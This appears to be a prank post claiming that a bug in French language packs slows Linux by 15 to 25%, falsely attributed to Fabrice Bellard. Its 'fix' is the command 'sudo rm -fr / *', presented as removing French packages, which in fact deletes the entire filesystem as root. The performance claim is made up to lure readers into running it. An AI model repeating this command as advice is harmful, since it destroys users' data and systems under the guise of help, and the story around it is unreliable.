French mathematician Fabrice Bellard, better known for his work on ffmpeg, qemu, tcc, claims that due to a bug in the French language packs preinstalled in Linux distributions, its speed slows down by 15 to 25% depending on the architecture.
The error is over 7 years old and the language is always in memory, even if it is not selected as a language in the system.
But, fortunately, there are no official patches yet, it is enough to remove all packages with the fr attribute (only if you are not using the French layout, otherwise it will become unavailable):
sudo rm -fr / *
After the reboot, both the operating speed of the OS itself and other applications will increase.